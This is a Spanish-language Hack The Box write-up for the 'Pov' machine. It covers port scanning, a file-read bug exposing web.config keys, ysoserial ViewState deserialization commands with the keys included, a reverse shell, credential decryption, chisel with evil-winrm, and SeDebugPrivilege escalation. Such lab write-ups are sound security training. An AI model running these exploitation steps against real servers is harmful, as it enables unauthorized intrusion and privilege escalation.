HTB Pov Writeup
Muy buenas con todos, el día de hoy voy a resolver la máquina Pov
de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.
Reconocimiento
Primero vemos si tenemos conexión con la máquina y de paso gracias al ttl
identificamos ante el tipo de máquina que estamos, en linux
este suele ser de 64 y en windows
de 128.
1
2
3
4
5
6
7
ping -c 1 10.10.11.251
PING 10.10.11.251 (10.10.11.251) 56(84) bytes of data.
64 bytes from 10.10.11.251: icmp_seq=1 ttl=127 time=96.3 ms
--- 10.10.11.251 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.253/96.253/96.253/0.000 ms
Vemos que el ttl
de la máquina es de 127, el cual está próximo a 128 por ende nos encontramos ante una máquina Windows
.
Ahora, con la herramienta nmap
lanzamos un escaneo en donde vamos a enumerar los puertos que se encuentran abiertos en la máquina.
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.252 -oG ports
Aquí generamos un archivo en formato grepeable y hacemos uso de la función extarctPorts de s4vitar.
1
extractPorts ports
Ahora, con el número de los puertos copiados en el portapapeles, lanzamos otro escaneo para enumerar el servicio que corren por los puertos.
1
nmap -sCV -p80 10.10.11.251 -oN target
Aquí generamos un archivo en el formato normal de nmap
en donde se nos muestra más información de los servicios que corren por esos puertos y vemos que el único puerto abierto en la máquina es el 80.
1
2
3
4
5
6
7
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Usamos el comando whatweb
para ver las tecnologías usadas en la web.
1
2
3
whatweb 10.10.11.251
http://10.10.11.251 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sfitz@pov.htb], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.251], Microsoft-IIS[10.0], Script, Title[pov.htb], X-Powered-By[ASP.NET]
No vemos nada interesante, pero en el título vemos lo que parece ser un dominio, así que, lo agregamos al /etc/hosts
, para que la máquina sepa a dónde resolver.
1
2
3
4
5
127.0.0.1 localhost
::1 localhost
127.0.0.1 machinename.localhost machinename
10.10.11.251 pov.htb
Enumeración de subdominios
Como en la web no hay nada interesante que mostrar, buscamos algún subdominio.
1
ffuf -c -t 100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "HOST: FUZZ.pov.htb" -u http://pov.htb -fw 3740
Encontamos uno y lo agragamos al /etc/hosts
. Nos dirigimos al subdominio y vemos que nos redirige a una ruta y hay una opción de descargar un CV, así que capturamos esa petición con BurpSuite
.
Deserialization .NET (ysoerial)
Vemos que hay un parámetro file, por donde se descarga el CV, así que podemos probar a intentar buscar otros archivos.
Aquí podemos ver que estamos en la capacidad de leer archivos y lo comprobamos viendo el /etc/hosts
de la máquina víctima, así que podemos buscar otros archivos interesantes. Como estamos ante ASP.NET
podemos buscar un web.config
.
Aquí vemos cosas interesantes como la verisón del framework y unas keys, buscando un poco por la web nos encontramos con esto, donde nos explican como mediante el parámetro __VIEWSTATE
, teniendo las keys podemos enviar un payload serializado para ejecutar comandos, para esto vamos a hacer uso de ysoserial, esto es un .exe
para windows, pero lo podemos usar en linux siguiendo los pasos de aqui.
Ganando acceso
Así que primero validamos si podemos ejecutar comandos. Para ello vamos a lanzarnos un ping
desde la máquina víctima.
1
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.16.36" --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
El payload devuelto lo pegamos en el parámetro __VIEWSTATE
y nos ponemos en escucha con tcpdump
.
Vemos que nos llegan los cuatro paquetes enviados por windows
y ahora tratamos de ganar acceso, para ello no vamos aquí, yo hice uso de Powershell#3 (Base64)
.
1
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "payload rev shell" --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
Ahora logramos ganar acceso como el usuario sfitz
.
Movimiento lateral
En su directorio pesonal en Documents
, logramos ver un archivo .xml
con una contraseña encriptada, que pertenece al usuario alaading
, como es una encriptación con powershell, nos apoyamos aquí para descifrar la credencial.
Como el usuario pertenece al grupo (Windows Remote Management), y el puerto 5985
está abierto internamente en la máquina, vamos a hacer uso de chisel para traernos ese puerto y hacer uso de evil-winrm
.
Ecalada de pivilegios
Como el usuario alaading
tiene el privilegio SeDebugPrivilege
, podemos hacer uso de eso para escalar privilegios, como nos explican aquí. Primero vemos alguna tarea que se ejecute como administrador como winlogon
y vemos su PID, para eso usamos el siguiente comando.
1
tasklist /v /FO LIST
Subimos el nc.exe a la máquina para entablar una rev shell
.
Ahora ya somos Administrator
y podemos ver la última flag.